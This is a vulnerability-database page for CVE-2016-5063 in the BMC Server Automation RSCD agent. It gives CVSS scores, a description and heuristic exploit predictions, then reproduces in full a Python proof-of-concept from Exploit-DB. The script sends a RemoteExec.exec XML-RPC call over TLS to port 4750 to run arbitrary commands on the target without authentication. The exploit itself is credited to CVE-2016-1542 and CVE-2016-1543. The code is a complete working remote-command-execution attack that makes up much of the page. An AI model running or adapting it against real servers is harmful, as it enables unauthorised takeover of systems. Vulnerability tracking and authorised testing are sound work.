CVE-2016-5063

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Published 2017-05-02 ยท Modified 2026-05-13
CVSS v3
5.3
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CVSS v4 NEW
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not yet in upstream
VIR risk
6.3

Description

The RSCD agent in BMC Server Automation before 8.6 SP1 Patch 2 and 8.7 before Patch 3 on Windows might allow remote attackers to bypass authorization checks and make an RPC call via unspecified vectors.

Predictions

Exploit likelihood
63%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43934 webapps windows
Paul Taylor ยท 2018-01-30

BMC BladeLogic RSCD Agent 8.3.00.64 - Windows Users Disclosure

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EDB-43902 remote multiple python ยท 4 KB
Paul Taylor ยท 2018-01-26

BMC BladeLogic 8.3.00.64 - Remote Command Execution

python exploit Source: Exploit-DB
# Exploit Title: BMC BladeLogic RSCD agent remote exec - XMLRPC version
# Filename: BMC_rexec.py
# Github: https://github.com/bao7uo/bmc_bladelogic
# Date: 2018-01-24
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Version: BMC RSCD agent 8.3.00.64
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)
# Vendor Advisory: https://docs.bmc.com/docs/ServerAutomation/87/release-notes-and-notices/flashes/notification-of-critical-security-issue-in-bmc-server-automation-cve-2016-1542-cve-2016-1543
# Tested on: 8.3.00.64

#!/usr/bin/python

# BMC BladeLogic RSCD agent remote exec - XMLRPC version
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)

# By Paul Taylor / Foregenix Ltd

# Credit: https://github.com/ernw/insinuator-snippets/tree/master/bmc_bladelogic
# Credit: https://github.com/yaolga

# Credit: Nick Bloor for AWS image for testing :-)
# https://github.com/NickstaDB/PoC/tree/master/BMC_RSCD_RCE

import socket
import ssl
import sys
import argparse
import requests
import httplib
from requests.packages.urllib3 import PoolManager
from requests.packages.urllib3.connection import HTTPConnection
from requests.packages.urllib3.connectionpool import HTTPConnectionPool
from requests.adapters import HTTPAdapter


class MyHTTPConnection(HTTPConnection):
    def __init__(self, unix_socket_url, timeout=60):
        HTTPConnection.__init__(self, HOST, timeout=timeout)
        self.unix_socket_url = unix_socket_url
        self.timeout = timeout

    def connect(self):
        self.sock = wrappedSocket


class MyHTTPConnectionPool(HTTPConnectionPool):
    def __init__(self, socket_path, timeout=60):
        HTTPConnectionPool.__init__(self, HOST, timeout=timeout)
        self.socket_path = socket_path
        self.timeout = timeout

    def _new_conn(self):
        return MyHTTPConnection(self.socket_path, self.timeout)


class MyAdapter(HTTPAdapter):
    def __init__(self, timeout=60):
        super(MyAdapter, self).__init__()
        self.timeout = timeout

    def get_connection(self, socket_path, proxies=None):
        return MyHTTPConnectionPool(socket_path, self.timeout)

    def request_url(self, request, proxies):
        return request.path_url


def optParser():
    parser = argparse.ArgumentParser(
                        description="Remote exec " +
                        "BladeLogic Server Automation RSCD agent"
                    )
    parser.add_argument("host", help="IP address of a target system")
    parser.add_argument(
            "-p",
            "--port",
            type=int,
            default=4750,
            help="TCP port (default: 4750)"
            )
    parser.add_argument("command", help="Command to execute")
    opts = parser.parse_args()
    return opts


def sendXMLRPC(host, port, packet, tlsrequest):
    r = tlsrequest.post(
            'http://' + host + ':' + str(port) + '/xmlrpc', data=packet
        )
    print r.status_code
    print r.content
    return


intro = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.intro</methodName><params><param><value>2016-1-14-18-10-30-3920958</value></param><param><value>7</value></param><param><value>0;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;</value></param><param><value>8.6.01.66</value></param></params></methodCall>"""
options = optParser()
rexec = options.command
PORT = options.port
HOST = options.host
rexec = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteExec.exec</methodName><params><param><value>""" + rexec  + """</value></param></params></methodCall>"""

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

sock.sendall("TLSRPC")
wrappedSocket = ssl.wrap_socket(sock)

adapter = MyAdapter()
s = requests.session()
s.mount("http://", adapter)

sendXMLRPC(HOST, PORT, intro, s)
sendXMLRPC(HOST, PORT, rexec, s)

wrappedSocket.close()

Application impact

VendorProductVersionsFixed
bmcserver_automation{"endIncluding":"8.6"}

References

CWEs

CWE-285

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.